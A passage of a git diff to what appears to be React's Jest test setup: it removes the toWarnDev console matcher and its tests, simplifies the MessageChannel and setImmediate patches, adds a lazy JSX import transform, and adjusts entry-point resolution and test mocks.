-          console.error('Bye \n    in div');
-        }).toErrorDev('Hi', undefined, 'Bye');
-      }, 'toErrorDev() received more than two arguments.');
-    });
-  }
-});
-
-describe('toWarnDev', () => {
-  it('does not fail if a warning contains a stack', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.warn('Hello\n    in div');
-      }
-    }).toWarnDev('Hello');
-  });
-
-  it('does not fail if all warnings contain a stack', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.warn('Hello\n    in div');
-        console.warn('Good day\n    in div');
-        console.warn('Bye\n    in div');
-      }
-    }).toWarnDev(['Hello', 'Good day', 'Bye']);
-  });
-
-  it('does not fail if warnings without stack explicitly opt out', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.warn('Hello');
-      }
-    }).toWarnDev('Hello', {withoutStack: true});
-    expect(() => {
-      if (__DEV__) {
-        console.warn('Hello');
-        console.warn('Good day');
-        console.warn('Bye');
-      }
-    }).toWarnDev(['Hello', 'Good day', 'Bye'], {withoutStack: true});
-  });
-
-  it('does not fail when expected stack-less warning number matches the actual one', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.warn('Hello\n    in div');
-        console.warn('Good day');
-        console.warn('Bye\n    in div');
-      }
-    }).toWarnDev(['Hello', 'Good day', 'Bye'], {withoutStack: 1});
-  });
-
-  if (__DEV__) {
-    // Helper methods avoids invalid toWarn().toThrow() nesting
-    // See no-to-warn-dev-within-to-throw
-    const expectToWarnAndToThrow = (expectBlock, expectedErrorMessage) => {
-      let caughtError;
-      try {
-        expectBlock();
-      } catch (error) {
-        caughtError = error;
-      }
-      expect(caughtError).toBeDefined();
-      expect(caughtError.message).toContain(expectedErrorMessage);
-    };
-
-    it('fails if a warning does not contain a stack', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello');
-        }).toWarnDev('Hello');
-      }, 'Received warning unexpectedly does not include a component stack');
-    });
-
-    it('fails if some warnings do not contain a stack', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Good day\n    in div');
-          console.warn('Bye');
-        }).toWarnDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello');
-          console.warn('Good day\n    in div');
-          console.warn('Bye\n    in div');
-        }).toWarnDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Good day');
-          console.warn('Bye\n    in div');
-        }).toWarnDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello');
-          console.warn('Good day');
-          console.warn('Bye');
-        }).toWarnDev(['Hello', 'Good day', 'Bye']);
-      }, 'Received warning unexpectedly does not include a component stack');
-    });
-
-    it('fails if warning is expected to not have a stack, but does', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello\n    in div');
-        }).toWarnDev('Hello', {withoutStack: true});
-      }, 'Received warning unexpectedly includes a component stack');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Good day');
-          console.warn('Bye\n    in div');
-        }).toWarnDev(['Hello', 'Good day', 'Bye'], {
-          withoutStack: true,
-        });
-      }, 'Received warning unexpectedly includes a component stack');
-    });
-
-    it('fails if expected stack-less warning number does not match the actual one', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hello\n    in div');
-          console.warn('Good day');
-          console.warn('Bye\n    in div');
-        }).toWarnDev(['Hello', 'Good day', 'Bye'], {
-          withoutStack: 4,
-        });
-      }, 'Expected 4 warnings without a component stack but received 1');
-    });
-
-    it('fails if withoutStack is invalid', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi');
-        }).toWarnDev('Hi', {withoutStack: null});
-      }, 'Instead received object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi');
-        }).toWarnDev('Hi', {withoutStack: {}});
-      }, 'Instead received object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi');
-        }).toWarnDev('Hi', {withoutStack: 'haha'});
-      }, 'Instead received string');
-    });
-
-    it('fails if the argument number does not match', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi %s', 'Sara', 'extra');
-        }).toWarnDev('Hi', {withoutStack: true});
-      }, 'Received 2 arguments for a message with 1 placeholders');
-
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi %s');
-        }).toWarnDev('Hi', {withoutStack: true});
-      }, 'Received 0 arguments for a message with 1 placeholders');
-    });
-
-    it('fails if stack is passed twice', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi %s%s', '\n    in div', '\n    in div');
-        }).toWarnDev('Hi');
-      }, 'Received more than one component stack for a warning');
-    });
-
-    it('fails if multiple strings are passed without an array wrapper', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi \n    in div');
-        }).toWarnDev('Hi', 'Bye');
-      }, 'toWarnDev() second argument, when present, should be an object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi \n    in div');
-          console.warn('Bye \n    in div');
-        }).toWarnDev('Hi', 'Bye');
-      }, 'toWarnDev() second argument, when present, should be an object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi \n    in div');
-          console.warn('Wow \n    in div');
-          console.warn('Bye \n    in div');
-        }).toWarnDev('Hi', 'Bye');
-      }, 'toWarnDev() second argument, when present, should be an object');
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi \n    in div');
-          console.warn('Wow \n    in div');
-          console.warn('Bye \n    in div');
-        }).toWarnDev('Hi', 'Wow', 'Bye');
-      }, 'toWarnDev() second argument, when present, should be an object');
-    });
-
-    it('fails on more than two arguments', () => {
-      expectToWarnAndToThrow(() => {
-        expect(() => {
-          console.warn('Hi \n    in div');
-          console.warn('Wow \n    in div');
-          console.warn('Bye \n    in div');
-        }).toWarnDev('Hi', undefined, 'Bye');
-      }, 'toWarnDev() received more than two arguments.');
-    });
-  }
-});
-
-describe('toLogDev', () => {
-  it('does not fail if warnings do not include a stack', () => {
-    expect(() => {
-      if (__DEV__) {
-        console.log('Hello');
-      }
-    }).toLogDev('Hello');
-    expect(() => {
-      if (__DEV__) {
-        console.log('Hello');
-        console.log('Good day');
-        console.log('Bye');
-      }
-    }).toLogDev(['Hello', 'Good day', 'Bye']);
-  });
-});
diff --git a/scripts/jest/matchers/toWarnDev.js b/scripts/jest/matchers/toWarnDev.js
deleted file mode 100644
index 1114b65dfa82..000000000000
--- a/scripts/jest/matchers/toWarnDev.js
+++ /dev/null
@@ -1,320 +0,0 @@
-'use strict';
-
-const {diff: jestDiff} = require('jest-diff');
-const util = require('util');
-const shouldIgnoreConsoleError = require('internal-test-utils/shouldIgnoreConsoleError');
-
-function normalizeCodeLocInfo(str) {
-  if (typeof str !== 'string') {
-    return str;
-  }
-  // This special case exists only for the special source location in
-  // ReactElementValidator. That will go away if we remove source locations.
-  str = str.replace(/Check your code at .+?:\d+/g, 'Check your code at **');
-  // V8 format:
-  //  at Component (/path/filename.js:123:45)
-  // React format:
-  //    in Component (at filename.js:123)
-  return str.replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
-    if (name.endsWith('.render')) {
-      // Class components will have the `render` method as part of their stack trace.
-      // We strip that out in our normalization to make it look more like component stacks.
-      name = name.slice(0, name.length - 7);
-    }
-    return '\n    in ' + name + ' (at **)';
-  });
-}
-
-const createMatcherFor = (consoleMethod, matcherName) =>
-  function matcher(callback, expectedMessages, options = {}) {
-    if (__DEV__) {
-      // Warn about incorrect usage of matcher.
-      if (typeof expectedMessages === 'string') {
-        expectedMessages = [expectedMessages];
-      } else if (!Array.isArray(expectedMessages)) {
-        throw Error(
-          `${matcherName}() requires a parameter of type string or an array of strings ` +
-            `but was given ${typeof expectedMessages}.`
-        );
-      }
-      if (
-        options != null &&
-        (typeof options !== 'object' || Array.isArray(options))
-      ) {
-        throw new Error(
-          `${matcherName}() second argument, when present, should be an object. ` +
-            'Did you forget to wrap the messages into an array?'
-        );
-      }
-      if (arguments.length > 3) {
-        // `matcher` comes from Jest, so it's more than 2 in practice
-        throw new Error(
-          `${matcherName}() received more than two arguments. ` +
-            'Did you forget to wrap the messages into an array?'
-        );
-      }
-
-      const withoutStack = options.withoutStack;
-      const logAllErrors = options.logAllErrors;
-      const warningsWithoutComponentStack = [];
-      const warningsWithComponentStack = [];
-      const unexpectedWarnings = [];
-
-      let lastWarningWithMismatchingFormat = null;
-      let lastWarningWithExtraComponentStack = null;
-
-      // Catch errors thrown by the callback,
-      // But only rethrow them if all test expectations have been satisfied.
-      // Otherwise an Error in the callback can mask a failed expectation,
-      // and result in a test that passes when it shouldn't.
-      let caughtError;
-
-      const isLikelyAComponentStack = message =>
-        typeof message === 'string' &&
-        (message.includes('\n    in ') || message.includes('\n    at '));
-
-      const consoleSpy = (format, ...args) => {
-        // Ignore uncaught errors reported by jsdom
-        // and React addendums because they're too noisy.
-        if (!logAllErrors && shouldIgnoreConsoleError(format, args)) {
-          return;
-        }
-
-        const message = util.format(format, ...args);
-        const normalizedMessage = normalizeCodeLocInfo(message);
-
-        // Remember if the number of %s interpolations
-        // doesn't match the number of arguments.
-        // We'll fail the test if it happens.
-        let argIndex = 0;
-        // console.* could have been called with a non-string e.g. `console.error(new Error())`
-        String(format).replace(/%s/g, () => argIndex++);
-        if (argIndex !== args.length) {
-          lastWarningWithMismatchingFormat = {
-            format,
-            args,
-            expectedArgCount: argIndex,
-          };
-        }
-
-        // Protect against accidentally passing a component stack
-        // to warning() which already injects the component stack.
-        if (
-          args.length >= 2 &&
-          isLikelyAComponentStack(args[args.length - 1]) &&
-          isLikelyAComponentStack(args[args.length - 2])
-        ) {
-          lastWarningWithExtraComponentStack = {
-            format,
-          };
-        }
-
-        for (let index = 0; index < expectedMessages.length; index++) {
-          const expectedMessage = expectedMessages[index];
-          if (
-            normalizedMessage === expectedMessage ||
-            normalizedMessage.includes(expectedMessage)
-          ) {
-            if (isLikelyAComponentStack(normalizedMessage)) {
-              warningsWithComponentStack.push(normalizedMessage);
-            } else {
-              warningsWithoutComponentStack.push(normalizedMessage);
-            }
-            expectedMessages.splice(index, 1);
-            return;
-          }
-        }
-
-        let errorMessage;
-        if (expectedMessages.length === 0) {
-          errorMessage =
-            'Unexpected warning recorded: ' +
-            this.utils.printReceived(normalizedMessage);
-        } else if (expectedMessages.length === 1) {
-          errorMessage =
-            'Unexpected warning recorded: ' +
-            jestDiff(expectedMessages[0], normalizedMessage);
-        } else {
-          errorMessage =
-            'Unexpected warning recorded: ' +
-            jestDiff(expectedMessages, [normalizedMessage]);
-        }
-
-        // Record the call stack for unexpected warnings.
-        // We don't throw an Error here though,
-        // Because it might be suppressed by ReactFiberScheduler.
-        unexpectedWarnings.push(new Error(errorMessage));
-      };
-
-      // TODO Decide whether we need to support nested toWarn* expectations.
-      // If we don't need it, add a check here to see if this is already our spy,
-      // And throw an error.
-      const originalMethod = console[consoleMethod];
-
-      // Avoid using Jest's built-in spy since it can't be removed.
-      console[consoleMethod] = consoleSpy;
-
-      const onFinally = () => {
-        // Restore the unspied method so that unexpected errors fail tests.
-        console[consoleMethod] = originalMethod;
-
-        // Any unexpected Errors thrown by the callback should fail the test.
-        // This should take precedence since unexpected errors could block warnings.
-        if (caughtError) {
-          throw caughtError;
-        }
-
-        // Any unexpected warnings should be treated as a failure.
-        if (unexpectedWarnings.length > 0) {
-          return {
-            message: () => unexpectedWarnings[0].stack,
-            pass: false,
-          };
-        }
-
-        // Any remaining messages indicate a failed expectations.
-        if (expectedMessages.length > 0) {
-          return {
-            message: () =>
-              `Expected warning was not recorded:\n  ${this.utils.printReceived(
-                expectedMessages[0]
-              )}`,
-            pass: false,
-          };
-        }
-
-        if (consoleMethod === 'log') {
-          // We don't expect any console.log calls to have a stack.
-        } else if (typeof withoutStack === 'number') {
-          // We're expecting a particular number of warnings without stacks.
-          if (withoutStack !== warningsWithoutComponentStack.length) {
-            return {
-              message: () =>
-                `Expected ${withoutStack} warnings without a component stack but received ${warningsWithoutComponentStack.length}:\n` +
-                warningsWithoutComponentStack.map(warning =>
-                  this.utils.printReceived(warning)
-                ),
-              pass: false,
-            };
-          }
-        } else if (withoutStack === true) {
-          // We're expecting that all warnings won't have the stack.
-          // If some warnings have it, it's an error.
-          if (warningsWithComponentStack.length > 0) {
-            return {
-              message: () =>
-                `Received warning unexpectedly includes a component stack:\n  ${this.utils.printReceived(
-                  warningsWithComponentStack[0]
-                )}\nIf this warning intentionally includes the component stack, remove ` +
-                `{withoutStack: true} from the ${matcherName}() call. If you have a mix of ` +
-                `warnings with and without stack in one ${matcherName}() call, pass ` +
-                `{withoutStack: N} where N is the number of warnings without stacks.`,
-              pass: false,
-            };
-          }
-        } else if (withoutStack === false || withoutStack === undefined) {
-          // We're expecting that all warnings *do* have the stack (default).
-          // If some warnings don't have it, it's an error.
-          if (warningsWithoutComponentStack.length > 0) {
-            return {
-              message: () =>
-                `Received warning unexpectedly does not include a component stack:\n  ${this.utils.printReceived(
-                  warningsWithoutComponentStack[0]
-                )}\nIf this warning intentionally omits the component stack, add ` +
-                `{withoutStack: true} to the ${matcherName} call.`,
-              pass: false,
-            };
-          }
-        } else {
-          throw Error(
-            `The second argument for ${matcherName}(), when specified, must be an object. It may have a ` +
-              `property called "withoutStack" whose value may be undefined, boolean, or a number. ` +
-              `Instead received ${typeof withoutStack}.`
-          );
-        }
-
-        if (lastWarningWithMismatchingFormat !== null) {
-          return {
-            message: () =>
-              `Received ${
-                lastWarningWithMismatchingFormat.args.length
-              } arguments for a message with ${
-                lastWarningWithMismatchingFormat.expectedArgCount
-              } placeholders:\n  ${this.utils.printReceived(
-                lastWarningWithMismatchingFormat.format
-              )}`,
-            pass: false,
-          };
-        }
-
-        if (lastWarningWithExtraComponentStack !== null) {
-          return {
-            message: () =>
-              `Received more than one component stack for a warning:\n  ${this.utils.printReceived(
-                lastWarningWithExtraComponentStack.format
-              )}\nDid you accidentally pass a stack to warning() as the last argument? ` +
-              `Don't forget warning() already injects the component stack automatically.`,
-            pass: false,
-          };
-        }
-
-        return {pass: true};
-      };
-
-      let returnPromise = null;
-      try {
-        const result = callback();
-
-        if (
-          typeof result === 'object' &&
-          result !== null &&
-          typeof result.then === 'function'
-        ) {
-          // `act` returns a thenable that can't be chained.
-          // Once `act(async () => {}).then(() => {}).then(() => {})` works
-          // we can just return `result.then(onFinally, error => ...)`
-          returnPromise = new Promise((resolve, reject) => {
-            result
-              .then(
-                () => {
-                  resolve(onFinally());
-                },
-                error => {
-                  caughtError = error;
-                  return resolve(onFinally());
-                }
-              )
-              // In case onFinally throws we need to reject from this matcher
-              .catch(error => {
-                reject(error);
-              });
-          });
-        }
-      } catch (error) {
-        caughtError = error;
-      } finally {
-        return returnPromise === null ? onFinally() : returnPromise;
-      }
-    } else {
-      // Any uncaught errors or warnings should fail tests in production mode.
-      const result = callback();
-
-      if (
-        typeof result === 'object' &&
-        result !== null &&
-        typeof result.then === 'function'
-      ) {
-        return result.then(() => {
-          return {pass: true};
-        });
-      } else {
-        return {pass: true};
-      }
-    }
-  };
-
-module.exports = {
-  toWarnDev: createMatcherFor('warn', 'toWarnDev'),
-  toErrorDev: createMatcherFor('error', 'toErrorDev'),
-  toLogDev: createMatcherFor('log', 'toLogDev'),
-};
diff --git a/scripts/jest/patchMessageChannel.js b/scripts/jest/patchMessageChannel.js
index bbcc6690c529..62716358a845 100644
--- a/scripts/jest/patchMessageChannel.js
+++ b/scripts/jest/patchMessageChannel.js
@@ -1,6 +1,6 @@
 'use strict';
 
-export function patchMessageChannel(Scheduler) {
+export function patchMessageChannel() {
   global.MessageChannel = class {
     constructor() {
       const port1 = {
@@ -11,18 +11,9 @@ export function patchMessageChannel(Scheduler) {
 
       this.port2 = {
         postMessage(msg) {
-          if (Scheduler) {
-            Scheduler.unstable_scheduleCallback(
-              Scheduler.unstable_NormalPriority,
-              () => {
-                port1.onmessage(msg);
-              }
-            );
-          } else {
-            throw new Error(
-              'MessageChannel patch was used without providing a Scheduler implementation. This is useful for tests that require this class to exist but are not actually utilizing the MessageChannel class. However it appears some test is trying to use this class so you should pass a Scheduler implemenation to the patch method'
-            );
-          }
+          setTimeout(() => {
+            port1.onmessage(msg);
+          }, 0);
         },
       };
     }
diff --git a/scripts/jest/patchSetImmediate.js b/scripts/jest/patchSetImmediate.js
index 831314c66451..b225f1caf62c 100644
--- a/scripts/jest/patchSetImmediate.js
+++ b/scripts/jest/patchSetImmediate.js
@@ -1,13 +1,7 @@
 'use strict';
 
-export function patchSetImmediate(Scheduler) {
-  if (!Scheduler) {
-    throw new Error(
-      'setImmediate patch was used without providing a Scheduler implementation. If you are patching setImmediate you must provide a Scheduler.'
-    );
-  }
-
+export function patchSetImmediate() {
   global.setImmediate = cb => {
-    Scheduler.unstable_scheduleCallback(Scheduler.unstable_NormalPriority, cb);
+    setTimeout(cb, 0);
   };
 }
diff --git a/scripts/jest/preprocessor.js b/scripts/jest/preprocessor.js
index f04cd2c3cfc8..3d7e98eab97d 100644
--- a/scripts/jest/preprocessor.js
+++ b/scripts/jest/preprocessor.js
@@ -16,9 +16,6 @@ const pathToBabel = path.join(
   '../..',
   'package.json'
 );
-const pathToBabelPluginReplaceConsoleCalls = require.resolve(
-  '../babel/transform-replace-console-calls'
-);
 const pathToTransformInfiniteLoops = require.resolve(
   '../babel/transform-prevent-infinite-loops'
 );
@@ -28,6 +25,9 @@ const pathToTransformTestGatePragma = require.resolve(
 const pathToTransformReactVersionPragma = require.resolve(
   '../babel/transform-react-version-pragma'
 );
+const pathToTransformLazyJSXImport = require.resolve(
+  '../babel/transform-lazy-jsx-import'
+);
 const pathToBabelrc = path.join(__dirname, '..', '..', 'babel.config.js');
 const pathToErrorCodes = require.resolve('../error-codes/codes.json');
 
@@ -73,21 +73,26 @@ module.exports = {
       const isInDevToolsPackages = !!filePath.match(
         /\/packages\/react-devtools.*\//
       );
-      const testOnlyPlugins = [];
-      const sourceOnlyPlugins = [];
-      if (process.env.NODE_ENV === 'development' && !isInDevToolsPackages) {
-        sourceOnlyPlugins.push(pathToBabelPluginReplaceConsoleCalls);
-      }
-      const plugins = (isTestFile ? testOnlyPlugins : sourceOnlyPlugins).concat(
-        babelOptions.plugins
-      );
+      const plugins = [].concat(babelOptions.plugins);
       if (isTestFile && isInDevToolsPackages) {
         plugins.push(pathToTransformReactVersionPragma);
       }
 
       // This is only for React DevTools tests with React 16.x
       // `react/jsx-dev-runtime` and `react/jsx-runtime` are included in the package starting from v17
-      if (semver.gte(ReactVersionTestingAgainst, '17.0.0')) {
+      // Technically 16.14 and 15.7 have the new runtime but we're not testing those versions.
+      if (
+        semver.gte(ReactVersionTestingAgainst, '15.0.0') &&
+        semver.lt(ReactVersionTestingAgainst, '17.0.0')
+      ) {
+        plugins.push(
+          [
+            require.resolve('@babel/plugin-transform-react-jsx'),
+            {runtime: 'classic'},
+          ],
+          require.resolve('@babel/plugin-transform-react-jsx-source')
+        );
+      } else {
         plugins.push([
           process.env.NODE_ENV === 'development'
             ? require.resolve('@babel/plugin-transform-react-jsx-development')
@@ -96,13 +101,10 @@ module.exports = {
           // would be React.createElement.
           {runtime: 'automatic'},
         ]);
-      } else {
-        plugins.push(
-          require.resolve('@babel/plugin-transform-react-jsx'),
-          require.resolve('@babel/plugin-transform-react-jsx-source')
-        );
       }
 
+      plugins.push(pathToTransformLazyJSXImport);
+
       let sourceAst = hermesParser.parse(src, {babel: true});
       return {
         code: babel.transformFromAstSync(
@@ -132,6 +134,7 @@ module.exports = {
       pathToTransformInfiniteLoops,
       pathToTransformTestGatePragma,
       pathToTransformReactVersionPragma,
+      pathToTransformLazyJSXImport,
       pathToErrorCodes,
     ],
     [
diff --git a/scripts/jest/setupHostConfigs.js b/scripts/jest/setupHostConfigs.js
index fcd1ed213030..1f2df96457a0 100644
--- a/scripts/jest/setupHostConfigs.js
+++ b/scripts/jest/setupHostConfigs.js
@@ -12,6 +12,8 @@ function resolveEntryFork(resolvedEntry, isFBBundle) {
   // .stable.js
   // .experimental.js
   // .js
+  // or any of those plus .development.js
+
   if (isFBBundle) {
     // FB builds for react-dom need to alias both react-dom and react-dom/client to the same
     // entrypoint since there is only a single build for them.
@@ -41,6 +43,10 @@ function resolveEntryFork(resolvedEntry, isFBBundle) {
       }
 
       resolvedEntry = nodePath.join(resolvedEntry, '..', entrypoint);
+      const devEntry = resolvedEntry.replace('.js', '.development.js');
+      if (__DEV__ && fs.existsSync(devEntry)) {
+        return devEntry;
+      }
       if (fs.existsSync(resolvedEntry)) {
         return resolvedEntry;
       }
@@ -53,10 +59,21 @@ function resolveEntryFork(resolvedEntry, isFBBundle) {
       '.js',
       __EXPERIMENTAL__ ? '.modern.fb.js' : '.classic.fb.js'
     );
+    const devFBEntry = resolvedFBEntry.replace('.js', '.development.js');
+    if (__DEV__ && fs.existsSync(devFBEntry)) {
+      return devFBEntry;
+    }
     if (fs.existsSync(resolvedFBEntry)) {
       return resolvedFBEntry;
     }
     const resolvedGenericFBEntry = resolvedEntry.replace('.js', '.fb.js');
+    const devGenericFBEntry = resolvedGenericFBEntry.replace(
+      '.js',
+      '.development.js'
+    );
+    if (__DEV__ && fs.existsSync(devGenericFBEntry)) {
+      return devGenericFBEntry;
+    }
     if (fs.existsSync(resolvedGenericFBEntry)) {
       return resolvedGenericFBEntry;
     }
@@ -66,9 +83,17 @@ function resolveEntryFork(resolvedEntry, isFBBundle) {
     '.js',
     __EXPERIMENTAL__ ? '.experimental.js' : '.stable.js'
   );
+  const devForkedEntry = resolvedForkedEntry.replace('.js', '.development.js');
+  if (__DEV__ && fs.existsSync(devForkedEntry)) {
+    return devForkedEntry;
+  }
   if (fs.existsSync(resolvedForkedEntry)) {
     return resolvedForkedEntry;
   }
+  const plainDevEntry = resolvedEntry.replace('.js', '.development.js');
+  if (__DEV__ && fs.existsSync(plainDevEntry)) {
+    return plainDevEntry;
+  }
   // Just use the plain .js one.
   return resolvedEntry;
 }
@@ -77,7 +102,8 @@ function mockReact() {
   jest.mock('react', () => {
     const resolvedEntryPoint = resolveEntryFork(
       require.resolve('react'),
-      global.__WWW__ || global.__XPLAT__
+      global.__WWW__ || global.__XPLAT__,
+      global.__DEV__
     );
     return jest.requireActual(resolvedEntryPoint);
   });
@@ -100,7 +126,8 @@ jest.mock('react/react.react-server', () => {
   });
   const resolvedEntryPoint = resolveEntryFork(
     require.resolve('react/src/ReactServer'),
-    global.__WWW__ || global.__XPLAT__
+    global.__WWW__ || global.__XPLAT__,
+    global.__DEV__
   );
   return jest.requireActual(resolvedEntryPoint);
 });
@@ -198,7 +225,8 @@ inlinedHostConfigs.forEach(rendererInfo => {
       mockAllConfigs(rendererInfo);
       const resolvedEntryPoint = resolveEntryFork(
         require.resolve(entryPoint),
-        global.__WWW__ || global.__XPLAT__
+        global.__WWW__ || global.__XPLAT__,
+        global.__DEV__
       );
       return jest.requireActual(resolvedEntryPoint);
     });
@@ -220,3 +248,9 @@ jest.mock('shared/ReactDOMSharedInternals', () =>
 );
 
 jest.mock('scheduler', () => jest.requireActual('scheduler/unstable_mock'));
+
+if (global.__PERSISTENT__) {
+  jest.mock('react-noop-renderer', () =>
+    jest.requireActual('react-noop-renderer/persistent')
+  );
+}
diff --git a/scripts/jest/setupTests.js b/scripts/jest/setupTests.js
index aa1f051ac492..aadb28017829 100644
--- a/scripts/jest/setupTests.js
+++ b/scripts/jest/setupTests.js
@@ -2,10 +2,11 @@
 
 const {getTestFlags} = require('./TestFlags');
 const {
-  flushAllUnexpectedConsoleCalls,
+  assertConsoleLogsCleared,
   resetAllUnexpectedConsoleCalls,
   patchConsoleMethods,
 } = require('internal-test-utils/consoleMock');
+const path = require('path');
 
 if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
   // Inside the class equivalence tester, we have a custom environment, let's
@@ -18,6 +19,9 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
   const spyOn = jest.spyOn;
   const noop = jest.fn;
 
+  // Can be used to normalize paths in stackframes
+  global.__REACT_ROOT_PATH_TEST__ = path.resolve(__dirname, '../..');
+
   // Spying on console methods in production builds can mask errors.
   // This is why we added an explicit spyOnDev() helper.
   // It's too easy to accidentally use the more familiar spyOn() helper though,
@@ -44,7 +48,6 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
   expect.extend({
     ...require('./matchers/reactTestMatchers'),
     ...require('./matchers/toThrow'),
-    ...require('./matchers/toWarnDev'),
   });
 
   // We have a Babel transform that inserts guards against infinite loops.
@@ -66,7 +69,19 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
   // Patch the console to assert that all console error/warn/log calls assert.
   patchConsoleMethods({includeLog: !!process.env.CI});
   beforeEach(resetAllUnexpectedConsoleCalls);
-  afterEach(flushAllUnexpectedConsoleCalls);
+  afterEach(assertConsoleLogsCleared);
+
+  // TODO: enable this check so we don't forget to reset spyOnX mocks.
+  // afterEach(() => {
+  //   if (
+  //       console[methodName] !== mockMethod &&
+  //       !jest.isMockFunction(console[methodName])
+  //   ) {
+  //     throw new Error(
+  //       `Test did not tear down console.${methodName} mock properly.`
+  //     );
+  //   }
+  // });
 
   if (process.env.NODE_ENV === 'production') {
     // In production, we strip error messages and turn them into codes.
@@ -125,6 +140,13 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
           }
           return Reflect.set(target, key, value, receiver);
         },
+        get(target, key, receiver) {
+          if (key === 'stack') {
+            // https://github.com/nodejs/node/issues/60862
+            return Reflect.get(target, key);
+          }
+          return Reflect.get(target, key, receiver);
+        },
       });
       originalErrorInstances.set(proxy, error);
       return proxy;
@@ -187,7 +209,7 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
       // Flush unexpected console calls inside the test itself, instead of in
       // `afterEach` like we normally do. `afterEach` is too late because if it
       // throws, we won't have captured it.
-      flushAllUnexpectedConsoleCalls();
+      assertConsoleLogsCleared();
     } catch (testError) {
       didError = true;
     }
@@ -205,8 +227,17 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
     }
   };
 
+  const coerceGateConditionToFunction = gateFnOrString => {
+    return typeof gateFnOrString === 'string'
+      ? // `gate('foo')` is treated as equivalent to `gate(flags => flags.foo)`
+        flags => flags[gateFnOrString]
+      : // Assume this is already a function
+        gateFnOrString;
+  };
+
   const gatedErrorMessage = 'Gated test was expected to fail, but it passed.';
-  global._test_gate = (gateFn, testName, callback, timeoutMS) => {
+  global._test_gate = (gateFnOrString, testName, callback, timeoutMS) => {
+    const gateFn = coerceGateConditionToFunction(gateFnOrString);
     let shouldPass;
     try {
       const flags = getTestFlags();
@@ -230,7 +261,8 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
         expectTestToFail(callback, error, timeoutMS));
     }
   };
-  global._test_gate_focus = (gateFn, testName, callback, timeoutMS) => {
+  global._test_gate_focus = (gateFnOrString, testName, callback, timeoutMS) => {
+    const gateFn = coerceGateConditionToFunction(gateFnOrString);
     let shouldPass;
     try {
       const flags = getTestFlags();
@@ -259,51 +291,42 @@ if (process.env.REACT_CLASS_EQUIVALENCE_TEST) {
   };
 
   // Dynamic version of @gate pragma
-  global.gate = fn => {
+  global.gate = gateFnOrString => {
+    const gateFn = coerceGateConditionToFunction(gateFnOrString);
     const flags = getTestFlags();
-    return fn(flags);
+    return gateFn(flags);
   };
-}
-
-// Most of our tests call jest.resetModules in a beforeEach and the
-// re-require all the React modules. However, the JSX runtime is injected by
-// the compiler, so those bindings don't get updated. This causes warnings
-// logged by the JSX runtime to not have a component stack, because component
-// stack relies on the the secret internals object that lives on the React
-// module, which because of the resetModules call is longer the same one.
-//
-// To workaround this issue, we use a proxy that re-requires the latest
-// JSX Runtime from the require cache on every function invocation.
-//
-// Longer term we should migrate all our tests away from using require() and
-// resetModules, and use import syntax instead so this kind of thing doesn't
-// happen.
-lazyRequireFunctionExports('react/jsx-dev-runtime');
-
-// TODO: We shouldn't need to do this in the production runtime, but until
-// we remove string refs they also depend on the shared state object. Remove
-// once we remove string refs.
-lazyRequireFunctionExports('react/jsx-runtime');
 
-function lazyRequireFunctionExports(moduleName) {
-  jest.mock(moduleName, () => {
-    return new Proxy(jest.requireActual(moduleName), {
-      get(originalModule, prop) {
-        // If this export is a function, return a wrapper function that lazily
-        // requires the implementation from the current module cache.
-        if (typeof originalModule[prop] === 'function') {
-          const wrapper = function () {
-            return jest.requireActual(moduleName)[prop].apply(this, arguments);
-          };
-          // We use this to trick the filtering of Flight to exclude this frame.
-          Object.defineProperty(wrapper, 'name', {
-            value: '(<anonymous>)',
-          });
-          return wrapper;
-        } else {
-          return originalModule[prop];
-        }
-      },
-    });
+  // We augment JSDOM to produce a document that has a loading readyState by default
+  // and can be changed. We mock it here globally so we don't have to import our special
+  // mock in every file.
+  jest.mock('jsdom', () => {
+    return require('internal-test-utils/ReactJSDOM.js');
   });
 }
+
+// We mock createHook so that we can automatically clean it up.
+let installedHook = null;
+jest.mock('async_hooks', () => {
+  const actual = jest.requireActual('async_hooks');
+  return {
+    ...actual,
+    createHook(config) {
+      if (installedHook) {
+        installedHook.disable();
+      }
+      return (installedHook = actual.createHook(config));
+    },
+  };
+});
+
+// Ensure async hooks are disabled after each test to prevent cross-test pollution.
